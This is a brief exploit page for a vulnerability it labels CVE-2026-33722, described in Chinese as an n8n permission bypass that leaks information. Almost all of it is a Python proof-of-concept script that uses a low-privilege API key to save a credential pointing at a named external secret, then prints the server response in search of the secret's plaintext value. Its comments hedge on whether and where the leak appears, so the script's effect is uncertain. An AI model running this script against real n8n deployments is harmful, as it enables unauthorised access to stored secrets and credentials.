CVE-2026-33722 n8n权限绕过导致信息泄露漏洞

import requests import json # Configuration TARGET_URL = "https://your-n8n-instance.com/rest/credentials" API_KEY = "LOW_PRIVILEGE_USER_API_KEY" SECRET_NAME = "target-secret-name-in-vault" # Headers headers = { "Content-Type": "application/json", "Authorization": f"Bearer {API_KEY}" } # Payload referencing the external secret by name # This attempts to save a credential that uses an external secret payload = { "name": "Test Credential", "type": "externalSecret", # or the specific credential type that allows external secrets "data": { "externalSecret": SECRET_NAME }, "nodeAccess": [] } # Send request to save credential response = requests.post(TARGET_URL, headers=headers, data=json.dumps(payload)) # Check if the secret value is leaked in the response if response.status_code == 200: response_data = response.json() # Depending on the endpoint behavior, the plain text value might be returned # in the response body or accessible via subsequent API calls triggered by the save. print("[+] Request successful. Check response for leaked secrets:") print(json.dumps(response_data, indent=2)) else: print("[-] Request failed:") print(response.text)